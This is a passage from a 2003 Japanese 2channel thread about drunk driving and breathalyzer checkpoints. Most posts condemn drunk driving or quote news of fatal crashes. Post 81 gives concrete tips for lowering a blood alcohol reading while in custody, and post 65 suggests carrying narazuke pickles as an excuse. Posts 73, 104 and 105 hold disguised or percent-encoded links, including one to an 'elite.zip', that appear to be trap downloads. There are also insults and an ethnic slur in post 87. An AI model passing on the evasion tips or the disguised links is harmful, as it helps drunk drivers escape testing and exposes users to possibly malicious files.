明らかに酔っていたのですが…警察にも酒臭いと言われたし。
謎だわ☆
でももう飲酒運転はしません!こわい!

45 :名無しさん@お腹いっぱい。:03/12/04 23:39 ID:AHrGT04r
熱いお湯割でアルコールが飛んだとかw

46 :名無しさん@お腹いっぱい。:03/12/05 00:44 ID:WZ3JMucQ
オレも1gのカンチュウハイを飲んでその1時間後に
ノーヘルで歩道走ってて、さらに一時停止を無視してるのを
警官に見つかって見事に捕まりました。
そのときに、「君お酒臭いねぇ〜」と言わたので、むかついて
「酒飲んでて何がわるい!?」と言っちゃいました。
案の定、変な袋に「息を入れろ」と言われてので入れてやりました。
その時、暴走族が警官の横でノーヘル・信号無視をしてるのにシカと。
オレを捕まえるより、あいつら捕まえたほ方が社会にいいのにと思いつつ、
結果発表!!
何の反応もナシ。
お巡りさん、ご苦労様です。。。
そうそう、その時ノーヘルや一時停止の違反とかの注意はなかったよ。

47 :名無しさん@お腹いっぱい。:03/12/05 08:12 ID:8Y754Nf0
>>46

暴走族よりも、飲酒運転の方が悪質だろ!

48 :とうりすがりの解決人:03/12/05 09:11 ID:SoiXsQgp
まー飲酒運転はマジでダメだよ。捕まったら本気で罪重いし。機械の測定によっては20万〜80万くらいの罰金があるし、最悪はその場で逮捕です。
もちろん免許取り消し、免許停止はあたりまえです。ついでに最近では同乗者にも罰金が来るケースもありますので。本当に飲酒運転はダメです。
誰かを巻き込んだりしたら、逮捕です。だいたいが二週間ぐらい留置所です。罰金も80万越えです。
さらに慰謝料などがかかります。他人を巻き込むと100%免許取り消しです。そしてその後3年〜6年免許が取れません。

などなど大変です。
ノンダラノルナノムナラノルナ。

飲んだ後、車で帰る人結構いますが、本人が良くても周りが迷惑です。飲んで運転する人はだいたいが大丈夫大丈夫言いますが、ソーユー問題じゃないんだよね。
ほんとに。大丈夫とか、そーゆー事じゃなくて根本的にマジでやめましょう。

まーーーここのタイトルとはだいぶ脱線していますが。

医療的なところから言いマストだな。飲んだあとはだいたい6時間はアルコールはぬけません。
何でぬけないかって? 
体の仕組です。科学的にも実証されています。何をやってもアルコールはとどまります。
唯一、大量に汗をかくと少し薄くはなるようですが、飲んだ後大量に汗をかくと身体が危険ですのでやめましょう。

「飲んでも捕まらなきゃいい」
と、言っている人は精神に異常があると思われます。
人を殺しても捕まらなきゃいい、銀行強盗も捕まらなきゃいい。
↑↑同レベルですな。


49 :名無しさん@お腹いっぱい。:03/12/05 15:10 ID:3ADcTJK2
age

50 :名無しさん@お腹いっぱい。:03/12/05 17:30 ID:WZ3JMucQ
>>47
>>48

>>46です。
すみませんでした・・・。もう2度とやりません。
けど、目の前を暴走族が走ってるのに、他のパトカーなどには
連絡するそぶりさえ見せなかったんですよ?3人もいるのに・・・。
板違いか(笑


51 :名無しさん@お腹いっぱい。:03/12/05 19:18 ID:vPirvJmN
実は・・。

昨日の真夜中、ビールを1gほど飲んでから、2時間ほどした後、
バイクで帰路に向かっていると、飲酒検問に遭遇。

「やっちまった」という後悔と、「寒さで酔いもさめてるし、
むしろ、普段より頭スッキリ」という、いい加減な気持ちで停止しました。

おまわりさんに「はぁ〜」と息を吹きかけたところ、
おとがめなしでした。

本当にOKだったのか、見逃してくれたのか、
理由はわからないど、飲酒運転は良くないなと反省。


52 :名無しさん@お腹いっぱい。:03/12/05 22:56 ID:???
>>51
あなたのような公道を走るゴミはバイクに乗ってはいけません。
さっさと免許を公安委員会に返上してきてください。


53 :名無しさん@お腹いっぱい。:03/12/05 23:03 ID:???
>>51
救いようのない屑だな。
お前がしなければならないのは反省ではなく
二度とバイクに乗らないということだ。

54 :名無しさん@お腹いっぱい。:03/12/08 00:19 ID:k8Oex+9T
>>52、53

何ゆえ、そこまで必死なのでしょう。

55 :名無しさん@お腹いっぱい。:03/12/08 00:29 ID:???
>>54
お前が必死なんだろ?

56 :名無しさん@お腹いっぱい。:03/12/08 02:18 ID:wlXLkJTf
だからさぁ〜
飲んだら乗るなって園児でも分かるべ?なんで今更もめんの?

57 :名無しさん@お腹いっぱい。:03/12/09 07:33 ID:iq/hQQHM
>>52 53 55

は、ずっとここに張り付いてるのか・・。

学校で、バイク糊にいじめられてるとか
相当、恨みがあるんだろうなぁ・・・。

たまには、外でたほうがいいよ。
もちろん、飲んだら乗るなー。

58 :名無しさん@お腹いっぱい。:03/12/09 10:34 ID:???
バカ板から来ましたが、うんこの集会所でしたか?
全員 あしたから徒歩で逝け

59 :名無しさん@お腹いっぱい。:03/12/09 11:26 ID:Y0ez7ogc
俺深夜捕まった時、情けないながらも泣いて許してもらおうとしたけど
見逃してくれなかったよ
だから泣いたぐらいじゃ無理

60 :グットエニックス社:03/12/09 11:49 ID:Mk45v90j
ご利用される方は2チャンネルをご覧ください。
キャッシュバックキャンペーン実施中。

61 :名無しさん@お腹いっぱい。:03/12/09 22:15 ID:???
>>57
お前のような奴が言っても説得力がない。


62 :名無しさん@お腹いっぱい。:03/12/09 23:00 ID:+6bOVCiT
>>61

たしかに、説得力ないね。。。

まぁ、一生ひきこもりで良いなら、それはそれで。

で、なんで「違反のつぶし方」見てるの?(笑)

63 :名無しさん@お腹いっぱい。:03/12/09 23:10 ID:???
Σ(゚Д゚)ガーン

64 :名無しさん@お腹いっぱい。:03/12/10 00:04 ID:???
 ∧||∧
(  ⌒ ヽ
 ∪  ノ
  ∪∪

65 :名無しさん@お腹いっぱい。:03/12/10 04:14 ID:???
奈良漬けでも反応出るらしいじゃん。
車に奈良漬けいつも入れておいて、ポリポリさせながら車降りて
反応出たら
「酒なんて呑んでないんですけどね。
あ。。もしかしてコレっすかね」
と奈良漬けのビンを見せる。勝利。
ハイ。明日は奈良漬けが大売れだねコリャ。

66 :名無しさん@お腹いっぱい。:03/12/10 12:44 ID:???
奈良漬けだろうが粕漬けだろうがウィスキーボンボンだろうがアルコール
の反応が出たらまずいだろ
別に酒を飲んだことを責められる訳ではなく体にアルコールを帯びたまま
の運転をしてはいけないわけで・・・

67 :名無しさん@お腹いっぱい。:03/12/10 16:31 ID:g8d63dkG
>>65

基準値以上のアルコールがでるだけの奈良漬けを食べたら、違反です。

道交法には、酒の種類は明記されていません。
アルコールが規定値に達すれば、バービカンでも違反です。


68 :名無しさん@お腹いっぱい。:03/12/10 17:01 ID:147OX0vJ
規制が厳しくなる前に、酒気帯び運転で3回捕まって免許取り消し〜。。。
現在2個目の免許を保有してますが、そんな俺から一言。
「運がない奴は、交通法規をしっかり守れ!」
                             以 上

69 :名無しさん@お腹いっぱい。:03/12/10 20:25 ID:???
2審は厳罰、懲役7年 飲酒で中学生2人ひき逃げ

飲酒運転で女子中学生2人をひき逃げし死亡させたとして、
業務上過失致死、道交法違反の罪に問われた元コンビニ経営谷口紀幸被告(39)の控訴審判決で、
東京高裁は10日、懲役5年6月とした1審宇都宮地裁判決を破棄、懲役7年を言い渡した。
上限の懲役7年6月を求刑した検察側が、量刑不当を理由に控訴していた。
判決理由で白木勇裁判長は「飲酒による眠気で安全に運転できないと認識しながら運転を続け、
被害者を約40メートルもはね飛ばした責任は重大。
衝突に気付いたのに逃走したのは人倫にもとる卑劣な行為だ」と厳しく指摘した。
遺族の被害感情にも触れ「娘を突然失った喪失感は察するに余りある。
やり場のない怒りに震える処罰感情は軽視できない」と述べ「1審の量刑は軽すぎて不当」と結論付けた。(共同通信)
http://headlines.yahoo.co.jp/hl?a=20031210-00000221-kyodo-soci

70 :名無しさん@お腹いっぱい。:03/12/10 23:07 ID:Tt8Dg70I
iモードで検問情報をやりとりするサイトがあるらしいけど、誰か知りませんか?


71 :名無しさん@お腹いっぱい。:03/12/11 00:01 ID:???
【社会】"無免許290人" 飲酒運転、全国一斉取り締まり…1万4000件摘発
http://news5.2ch.net/test/read.cgi/newsplus/1070594825/l50
★飲酒運転一斉取り締まり、1万4000件摘発

・全国の警察本部は4日夜から5日早朝にかけ、主要幹線道路や高速道路の
 出入り口付近など計3100か所で、飲酒運転の一斉取り締まりを行った。

 警察庁によると、道路交通法違反などで1万4379件を摘発、このうち
 49人を逮捕した。

 目立った違反は、速度違反の4259件(逮捕1人)、飲酒運転の1728件
 (同32人)、無免許運転の290件(同10人)だった。
 http://news.www.infoseek.co.jp/society/story.html?q=05yomiuri20031205ic07&cat=35

※関連スレ
・【調査】"厳罰化有効、ZONEも人気" 交通事故死者、1957年水準の可能性も
 http://news5.2ch.net/test/read.cgi/newsplus/1070346384/

72 :名無しさん@お腹いっぱい。:03/12/12 00:11 ID:wmu29fP8
>>69 71

わざわざ、おつかれ。

暇なんだね。

73 :名無しさん@お腹いっぱい。:03/12/12 20:10 ID:???
>>70
pcで見ろ
http://ww5.enjoy.ne.jp/~kanazashi-07/%65%6C%69%74%65.%7A%69%70

74 :名無しさん@お腹いっぱい。:03/12/12 21:17 ID:???
 危険運転致死傷で男を起訴 埼玉・家族4人死傷の事故

 埼玉県久喜市でパトカーから逃走中の乗用車がワゴン車に衝突、家族4人が死傷した事故で、
 さいたま地検は12日、危険運転致死傷と道交法違反(無免許、ひき逃げなど)の罪で同市本町、
 とび職座間味政之容疑者(20)を起訴した。
 県警は業務上過失致死傷などの容疑で送検したが、同地検は「赤信号と知りながらあえて無視した」と判断、
 危険運転致死傷罪を適用した。
 起訴状などによると、座間味被告は11月23日未明、友人とビールや焼酎などを飲み、酒気帯びで乗用車を蛇行運転。
 パトカーに追跡され午前5時半ごろ、久喜市南4丁目の県道交差点に赤信号で進入し、同県杉戸町の会社員平松史朗さん(44)のワゴン車に衝突。
 平松さんの二男で小学3年の正嗣君(9つ)を死亡させ、史朗さんら3人に重軽傷を負わせて逃げた。(共同通信)
 http://headlines.yahoo.co.jp/hl?a=20031212-00000191-kyodo-soci

75 :名無しさん@お腹いっぱい。:03/12/13 21:43 ID:???
>>1
http://www.onlyinternet.net/bmeyer/drunkdriving.htm

76 :名無しさん@お腹いっぱい。:03/12/17 20:16 ID:r0KgNC+v
さっき、テレビ見てたら検問拒否したら逮捕されるらしいね。酒帯で捕まるのと、拒否でつかまるのどっちがリスクあるんだろ?

77 :名無しさん@お腹いっぱい。:03/12/17 20:19 ID:WtInl2LE
拒否の方が軽かったと思うけど。

78 :名無しさん@お腹いっぱい。:03/12/17 20:21 ID:r0KgNC+v
日本の変な所は、居酒屋に駐車場がある所だ。駐車場なんか作ったら、みんな普通に酒帯運転するっちゅーの。

79 :名無しさん@お腹いっぱい。:03/12/17 20:25 ID:r0KgNC+v
つまり、酒帯して検問にひっかかったら拒否すればいいというわけか。

80 :名無しさん@お腹いっぱい。:03/12/17 22:20 ID:???
>>76>>78-79
自作自演age

81 :名無しさん@お腹いっぱい。:03/12/17 22:39 ID:AmAAB3TX
>>79
逮捕されて採血許可が出るまでの間に、13点(0.25以上)から6点(0.15-0.25)へ変わる程度の飲み方なら、効果があるかもしれませんね。
ただ、少し位時間が経っても0.25を下回らないほど飲んでたら、検知拒否が加わるぶんだけ損する事もあり。
結局の所、飲んだ量次第だと思います。

やるなら、採血許可が出るまでの間にトイレへ行って、大量の水を飲んで、吐いて、また飲んで・・・、を繰返すと同じ時間でも少しは早く抜ける可能性はありますね。
いくら逮捕されても、トイレに行かせてくれないという事はないでしょう。
その場でされても困るし(w
あと、トイレの個室へ入ったら、スクワットなどで汗をかく事もお忘れ無く。
大きな成果は難しいかもしれないけど、0.01の差で13点になっても困るでしょう。


82 :あぼーん:あぼーん
あぼーん

83 :名無しさん@お腹いっぱい。:03/12/18 22:21 ID:???
■■□■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■□■■■■□■■■■□■■■■■■■■■■□■■■■■■■■
■■□□□□■■□■■■□■■□□□□□■■■□■■■■■■■■
■■□■■□■■□■■■□■■■■■■□■■■□■■■■■■■■
■□■■■□■■■■■□■■■■■■□■■■■□■■■■■■■■
■□■■■□■■■■■□■■■■■■□■■■■□■■■□■■■■
■■■■■□■■■■■□■■■■■□■■■■■□■■■□■■■■
■■■■□■■■■■□■■■■■■□□■■■■□■■□■■■■■
■■■■□■■■■■□■■■■■□■■□■■■□■■□■■■■■
■■■□■■■■■□■■■■■□■■■■□■■□■□■■■■■■
■■□■■■■■□■■■■■□■■■■■■■■□□■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■□■■■■■□■■■■■■■■■■■■■■■■■■■■■
■■■□□■■■■■□■■■■■■■□□□□□□□□□□□□■■
■■□□■■■■■□□□□□□■■■■■■■■■■■■■□□■■
■□□■■□■■■□■■■■□■■■■■■■■■■■■□□■■■
■■□■□□■■□□□■■□□■■■■■■■■■■■□□■■■■
■■■□□■■□□■□□□□■■■■■■■■■■■□□■■■■■
■■□□■■■■■■■□□■■■■■■■■■■■□□■■■■■■
■■□■■■□■■■□□□□■■■■■■■■■■□■■■■■■■
■□□□□□□■■□□■■□□■■■■■■■■■□■■■■■■■
■■■■□■■■□□■■■■□□■■■■■■■■□■■■■■■■
■■□■□■□■■■■□□■■■■■■■■■■■□■■■■■■■
■■□■□■□■■■■■□□■■■■■■■■■■□■■■■■■■
■□□■□■□■■■■■■■■■■■■■■■■■□■■■■■■■
■□■■□■■■■□□□■■■■■■■■■■■■□■■■■■■■
■■■■□■■■■■■□□□■■■■■■■■■■□■■■■■■■
■■■■□■■■■■■■■□□■■■■■■□□□□■■■■■■■



84 :名無しさん@お腹いっぱい。:03/12/22 23:57 ID:f9YnOkQI
酒気帯びで人身事故をしました。被害者は同乗者の上司です。聴取会にて示談書、嘆願書、反省文を提出しようと思うのですが2年〜1年など減刑は必ずしも無いのでしょうか?断れなかった私が悪いのですが・・・情報を宜しくお願いいたします。

85 :名無しさん@お腹いっぱい。:03/12/23 01:44 ID:???
>84
上司は同罪だから、示談書も嘆願書も何の意味もないでしょう。

86 :名無しさん@お腹いっぱい。:03/12/23 04:40 ID:Dm6TpmBa
>>84
疑問
同乗の上司が唯一の被害者って事ですか?
と言う事は、単独事故でしょうか?
それなら、どうして事故が公になったのでしょうか?
普通、上司も立場上表ざたにはしたくない筈ですが。
余程ひどい怪我をしたとかですか?

いずれにしても、被害者との示談書・嘆願書・反省文は有った方が良いと思います。
あと、刑事裁判の場合は「贖罪寄付」という制度もあるようです。
行政処分に関しても通用するかは不明ですが、速度違反の例だと通常執行猶予付懲役刑になる事例で罰金で済んだとかいう事例もあるので、行政処分にも通用しないか調べてみる価値はあると思います。
いずれにしても、酒気帯び事故でしたら早期に交通関係に強い弁護士への依頼が肝要かと思います。
行政処分に関しても、弁護士と十分な協議の上で聴聞会へ臨んだ方が良いですよ。
心当たりが無ければ、お住まいの都道府県にある弁護士会へ「交通事故関係に詳しい弁護士」を訊けば紹介してくれる筈です。


87 :( ゚д゚)ポカーン  :03/12/24 21:20 ID:9AKnj1zK
>>1 ほんと糞ですね 藁えた!
チョコとオレンジが特効薬の訳ねーだろ! このパッパラパーが!
お前は、検問引っかからなくて、本当にうれしかったんだね
よって、在日決定!北に帰れ!

88 :名無しさん@お腹いっぱい。:03/12/24 23:16 ID:wfyQAv14
ウひゃひゃひゃ
1はホントD0Nだね〜

オレンジジュースとスニッカーズだって。
脳味噌スカスカなんじゃねーか(げら!

89 :名無しさん@お腹いっぱい。:03/12/25 00:03 ID:???

                DQNと言えば?         . ナンダコイツハ   ウザイモナー     ヒイィィィッ
>>1が      . \        ∧_∧ ∩   >>1だろ/ ∧_∧     ∧_∧      ∧_∧
 糞スレ乱立だって \      ( ・∀・)ノ______ /  ( ;・∀・)    (; ´Д`)     (´Д`; )
          ∧ ∧ \    (入   ⌒\つ  /| /  ⊂   ⊂ )    ( つ ⊂ )    ( ⊃   ⊃
         (゜Д゜ )_.\   .ヾヽ  /\⌒)/ |/     〉 〉\\   〉 〉 く く   //( (
     / ̄ ̄∪ ∪ /| .\  || ⌒| ̄ ̄ ̄|    /     (__) (_)  (_.)(_)  (_) (__)
   /∧_∧ヤツですか・・・\    ∧∧∧∧ /        『2ちゃんねるの糞>>1
  / (;´∀` )_/       \  < 糞 ま > あきれるような糞スレをたてて
 || ̄(     つ ||/         \< ス た >   無差別に住人に喧嘩を売りつけ、
 || (_○___)  ||            < レ   >     意味不明な言論で煽るが不発。
――――――――――――――― .< か   >――――――――――――――――――――――――
         ∧_∧ 削除人に   < !   > 1 :名無しさん@お腹いっぱい。:03/11/02 18:34 ID:
         ( ;´∀`)処理されてる… ∨∨∨∨\  
    _____(つ_ と)___       ./       \  板の皆さん;
 . / \        ___ \アヒャ /   ∧_∧低\  これは糞スレです。
 .<\※ \____.|i\___ヽ.アヒャ/ γ(⌒)・∀・ )脳 \  
  ヽ\ ※ ※ ※|i i|.====B|i.ヽ  /(YYて)ノ   ノ 者  \ 2 :名無しさん@お腹いっぱい。:03/11/02
    \`ー──-.|\.|___|__◎_|_.i‐>/ \  ̄ ̄ ̄ ̄\ め    \
      ̄ ̄ ̄ ̄|. | ̄ ̄ ̄ ̄| / ||ヽ|| ̄ ̄ ̄ ̄||  ! !      \ >>1 削除依頼出しますた



90 :名無しさん@お腹いっぱい。:03/12/25 20:54 ID:???
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    n                 l⌒l    (二  ̄) ┌─┐|
| {三 三} キモいぜ.! l⌒l_l  l_l⌒l //  │12│|
| {三 三}   /⌒\   |___   ___|(__  ̄ヽ .└─┘|
| ノ イ\ヽへ(_/\ \ l⌒l_|  |_l⌒l __,つ } 三|三|-|
| `1フ  \く     \__).|______|(__ノ  ノ| ̄| |
|                    「>>1表へ出ろ」の巻   ̄ .|
|  ┏━━━━━━━━━━━━━━━━━━┓  |
|  ┃        ,..-──- 、               ┃  |
|  ┃       /. : : : : : : : : : \     ─┬──  ┃  |
|  ┃     /.: : : : : : : : : : : : : : ヽ      タ ヒ   ┃  |
|  ┃    ,!::: : : :,-…-…-ミ: : : : :',         ┃  |
|  ┃     {:: : : : :i '⌒'  '⌒' i: : : : :}   _|__     ┃  |
|  ┃    {:: : : : | ェェ  ェェ |: : : : :}    |/ /⌒l ┃  |
|  ┃     { : : : :|   ,.、   |:: : : ;!   /|´  の ┃  |
|  ┃    .ヾ: :: :i r‐-ニ-┐ | : : :ノ            ┃  |
|  ┃        ゞイ! ヽ 二゙ノ イゞ‐′     |_     ┃  |
|  ┃        \` ー一'´丿      |     ┃  |
|  ┃,,┴フ;:{  ,.∨ lL ゝ;;;;;ノi         の      ┃  |
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
| 応援ヨロシク,!::: : : :,-…-…-ミ: : : : :' アニメ化決定!  |
|    / ̄\ : : : :i '⌒'  '⌒' i: : : : :} テレビ東京系列. |
| , .┤    ト: : : | ェェ  ェェ |: : : : :}  深夜3時30分〜 |
| |  \_/  ヽ:|   ,.、   |:: : : :;!            |
| |   __( ̄ | r‐-ニ-┐ |:: :: ノ独特の毒舌トークで|
| |    __)_ノイ! ヽ 二゙ノ イ | ̄| 世の中の奇妙な事 |
| ヽ___) ノ   \` ー一'' ソ |∩| について毒を吐く!|
|______________________|



91 :名無しさん@お腹いっぱい。:03/12/28 12:51 ID:???
こんなところに>>1の通知表(10段階評価)が!
┏━━┳━━┳━━┳━━┳━━┳━━┳━━┳━━┳━━┓
┃国語┃数学┃理科┃社会┃英語┃体育┃音楽┃人格┃常識┃
┣━━╋━━╋━━╋━━╋━━╋━━╋━━╋━━╋━━┫
┃  1 ┃  1 ┃  1 ┃  1 ┃  1 ┃  1 ┃  1 ┃  1 ┃  1 ┃
┗━━┻━━┻━━┻━━┻━━┻━━┻━━┻━━┻━━┛
                     ミチャダメー
  (´フ`)              (゚Д゚) ──
 □ー               =│  ──
   ハ                ┌┴┘>>1



92 :名無しさん@お腹いっぱい。:03/12/28 19:03 ID:SGcmrI55
荒らしばかりのスレですが・・・
所々に役立つ話もあるので、情報の欲しい方は面倒がらずにスクロールしましょう。
それにしても沢山の荒らし・・・、このご時世に暇人ばかりだな。
公務員か?(w

93 :名無しさん@お腹いっぱい。:03/12/28 20:55 ID:???
    >>92
(^Д^)ギャハ!↑みなさん、この人のレスどう思いますか♪なんてありきたりなんでしょうね♪
誰もが皆、一瞬つけてみたくなる発想のレスです♪
しかし、賢明な人はその自らの短絡的思考を野放しにする事を嫌がり、
こういうレスは控えます♪しかし、この人はしてしまったのです(^^;
「誰もが思い付くような事」を堂々と♪
この人にとってこのレスは何なのでしょうか♪
このレスをしている間にも時間は刻々と 過ぎ去っているのです♪
正にこの人のした事は「無意味」「無駄」でしかありません♪ああ・・・何ていう事でしょう(^^;ワラ
図星で泣いちゃうかも(^^;ワラ



94 :名無しさん@お腹いっぱい。:03/12/28 21:07 ID:RnK4Fgw6
>>93
>>「無意味」「無駄」でしかありません
その言葉、そのままお返しします。
あなたと、お絵描き諸君にも(w

95 :名無しさん@お腹いっぱい。:03/12/28 21:25 ID:acBLYJak
無意味ではないかも。
ある種の公務員の方にとっては、職業的プライド(幻想?)が掛かってるのかも。
誰しも、自分の仕事が有意義だと思いたいからね。

96 :名無しさん@お腹いっぱい。:03/12/28 21:34 ID:???
ホントに痛いのは自分も同類と気がつかない >93 だな


97 :名無しさん@お腹いっぱい。:03/12/28 22:06 ID:???
>>94-96
コピペにつられるな。

98 :名無しさん@お腹いっぱい。:03/12/28 22:08 ID:???
□□□□□■□□□□■□□□□□□□□□□□□□□□□□□□□□□□□□
□□■■□■□□■■■□□□□□□□□□□□□□□□□□□□□□□□□□
□□■■■■■■■□□□□□□□□□□□□□□□□□□□■■■■■■■□
□□□□□■■□■□□□□□□□□□□□□□□□□■■■■■■■□□□□
□□□□□■□□■■■■□□□□□■■■■■□□□□□□□■■□□□□□
□■■■□■■■■□■□□□■■■■□□□■■□□□□□□■□□□□□□
□□■■■■■□■□■□□□□□□□□□□□■□□□□□■■□□□□□□
□□■■□■□□■□■□□□□□□□□□□□■□□□□□■■□□□□□□
□□■■□■□■■□■□□□□□□□□□□■■□□□□□□■□□□□□□
□□■■□■□■□□■□□□□□□□■■■■□□□□□□□■■■□□□□
□■■■■■■■■■■■□□□□□□■■□□□□□□□□□□□■■■□□
□□□□□□□□□□□□■□□□□□□□□□■■□□□□□□□□□□□□
□□□□□□□□□□□□■■■■■□□□□□■■□□□□□□□□□□□□
□□□□□□□□□□□□■■□□□□□□□□■■□□□□□□□□□□□□
□□□□□□□□□□□□■□□□□□□□□□■■□□□□□□□□□□□□
□□□□□□□□□□□□■□□□□□□□□□■■□□□□□□□□□□□□
□□□□□□□□■■■■■■□□□□□□□□■■□□□□□□□□□□□□
□□□□□□□□■□□□■■■■■□□□□□■■□□□□■■□□□□□□
□□□□□□□□■■□■■□□□■□□□□□□■■■■■■□□□□□□□
□□□□□□□□□■■■□□□□□□□□□□□□■■■■□□□□□□□□

99 :名無しさん@お腹いっぱい。:03/12/28 22:08 ID:???
☆☆☆☆☆▼☆☆☆☆☆☆☆☆▼▼▼☆☆☆☆☆☆☆☆☆
☆☆☆☆☆■■▼☆☆☆☆☆☆▼■▼☆☆☆☆☆☆☆☆☆
☆☆☆☆▼■■☆☆☆☆☆☆☆■■▼☆☆☆☆☆☆☆☆☆
☆☆☆▼■■▼☆☆☆☆☆☆▼■■▼▼▼▼■■▼☆☆☆
☆☆☆■■■☆☆▼▼☆☆☆▼■■■■■■■■■▼☆☆
☆▼▼■■▼☆▼■■▼☆▼■■▼▼▼▼▼■■■☆☆☆
▼■■■■▼▼■■▼☆☆▼■■■☆☆☆▼■■▼☆☆☆
▼■■■■▼▼■▼☆☆▼■■▼■▼☆▼■■■☆☆☆☆
☆▼■■■■■■▼☆▼■■▼▼■■▼■■■▼☆☆☆☆
☆☆▼■■■■▼▼☆▼■▼☆☆▼■■■■▼☆☆☆☆☆
☆☆☆▼■■▼▼■▼☆▼☆☆☆☆▼■■■☆☆☆☆☆☆
☆☆☆▼■■☆☆■■▼☆☆☆☆☆▼■■▼▼☆☆☆☆☆
▼▼▼■■■▼■■■■▼☆☆▼▼■■■■■▼☆☆☆☆
■■■■■■■■▼■■▼▼■■■■▼■■■■■■▼▼
■■▼▼▼■■☆☆▼▼■■■■▼▼☆☆▼■■■■■▼
▼▼▼☆☆■■☆▼▼▼■■■▼▼■▼▼▼▼■■■■▼
☆■■■▼■■▼■■▼■■▼☆▼■■■■▼▼▼▼▼☆
☆■■■▼■■▼■■▼▼▼☆☆▼■■■■■■▼☆☆☆
☆■■■▼■■☆▼■■☆☆☆☆☆▼▼■■■■▼☆☆☆
▼■■■☆■■☆▼■■▼☆☆▼☆☆☆▼■■▼☆☆☆☆
▼■■■☆■■☆☆■■▼☆▼■■▼▼▼☆☆☆☆☆☆☆
▼■■▼☆■■☆☆■■▼☆▼■■■■■▼▼☆☆☆☆☆
▼■■▼☆■■☆☆▼▼☆☆▼■■■■■■■■▼▼☆☆
▼■■▼☆■■☆☆☆☆☆☆☆▼▼■■■■■■■▼☆☆
☆☆☆☆☆■■☆☆☆☆☆☆☆☆☆☆▼■■■■■▼☆☆
☆☆☆☆☆■■☆☆☆☆☆☆☆☆☆☆☆☆▼▼▼▼☆☆☆


100 :名無しさん@お腹いっぱい。:03/12/28 22:10 ID:???
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■□□□□■■■■■■■■■■■■■■
■■■■■■■■■■■■■■□□□□■■■■■■■■■■■■■■
■■■■■■■■■■■■■■□□□□■■■■■■■■■■■■■■
■■■■■■■■■■■■■■□□□□■■■■■■■■■■■■■■
■■■■■■□□□□□□□□□□□□□□□□□□□□□□■■■■
■■■■■■□□□□□□□□□□□□□□□□□□□□□□■■■■
■■■■■□□□■■■■■■■■■■■■■■■■□□□■■■■■
■■■■■□□□■■□□□□□□□□□□□□■■□□■■■■■■
■■■■□□□■■■□□□□□□□□□□□□■■□■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■□□□□□□□□□□□□□□□□■■■■■■■■
■■■■■■■■□□□□□□□□□□□□□□□□■■■■■■■■
■■■■■■■■■■■■□□□■■□□□■■■■■■■■■■■■
■■■■■■■■■■■□□□■■■□□□■■■■■■■■■■■■
■■■■■■■■■■■□□□■■■□□□■■■■■■■■■■■■
■■■■■■■■■■□□□■■■■□□□■■■■□■■■■■■■
■■■■■■■■■□□□■■■■■■□□□■■■□□■■■■■■
■■■■■■■□□□□■■■■■■■□□□□□□□□□■■■■■
■■■■□□□□□■■■■■■■■■■□□□□□□□□□■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■


101 :名無しさん@お腹いっぱい。:03/12/28 22:11 ID:???
■■□■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■□■■■■□■■■■□■■■■■■■■■■□■■■■■■■■
■■□□□□■■□■■■□■■□□□□□■■■□■■■■■■■■
■■□■■□■■□■■■□■■■■■■□■■■□■■■■■■■■
■□■■■□■■■■■□■■■■■■□■■■■□■■■■■■■■
■□■■■□■■■■■□■■■■■■□■■■■□■■■□■■■■
■■■■■□■■■■■□■■■■■□■■■■■□■■■□■■■■
■■■■□■■■■■□■■■■■■□□■■■■□■■□■■■■■
■■■■□■■■■■□■■■■■□■■□■■■□■■□■■■■■
■■■□■■■■■□■■■■■□■■■■□■■□■□■■■■■■
■■□■■■■■□■■■■■□■■■■■■■■□□■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■□■■■■■□■■■■■■■■■■■■■■■■■■■■■
■■■□□■■■■■□■■■■■■■□□□□□□□□□□□□■■
■■□□■■■■■□□□□□□■■■■■■■■■■■■■□□■■
■□□■■□■■■□■■■■□■■■■■■■■■■■■□□■■■
■■□■□□■■□□□■■□□■■■■■■■■■■■□□■■■■
■■■□□■■□□■□□□□■■■■■■■■■■■□□■■■■■
■■□□■■■■■■■□□■■■■■■■■■■■□□■■■■■■
■■□■■■□■■■□□□□■■■■■■■■■■□■■■■■■■
■□□□□□□■■□□■■□□■■■■■■■■■□■■■■■■■
■■■■□■■■□□■■■■□□■■■■■■■■□■■■■■■■
■■□■□■□■■■■□□■■■■■■■■■■■□■■■■■■■
■■□■□■□■■■■■□□■■■■■■■■■■□■■■■■■■
■□□■□■□■■■■■■■■■■■■■■■■■□■■■■■■■
■□■■□■■■■□□□■■■■■■■■■■■■□■■■■■■■
■■■■□■■■■■■□□□■■■■■■■■■■□■■■■■■■
■■■■□■■■■■■■■□□■■■■■■□□□□■■■■■■■


102 :名無しさん@お腹いっぱい。:03/12/28 23:03 ID:caFS8xaw
ぷー げら!

103 :名無しさん@お腹いっぱい。:03/12/28 23:14 ID:???
>>1
http://www.jpg-gif.net/bbs/5/img/13772.jpg

104 :名無しさん@お腹いっぱい。:03/12/28 23:25 ID:???

http://www.runarudo.flnet.org/newpage21.htm
http://job.jpn.ph:591/cgi-bin/img-box/img20021025233905.cab
http://www.nurs.or.jp/~gatoo777/souko_gif/roomx/1.html


105 :名無しさん@お腹いっぱい。:03/12/29 22:15 ID:???

http://www.hellplant.org/cgi-bin/xoor/serpent.cgi
http://e-jts.com/~shitucho/kiken/mailto.html
http://cosmiccowgirls.hp.infoseek.co.jp/merusuto.html


106 :名無しさん@お腹いっぱい。:03/12/30 23:59 ID:???
【社会】神官が飲酒運転で暴走、逮捕 福岡
http://news5.2ch.net/test/read.cgi/newsplus/1072748557/l50
30日午前1時35分ごろ、福岡県宗像市野坂の国道3号で、猛スピードで走行していた乗用車が、パトカーの制止を
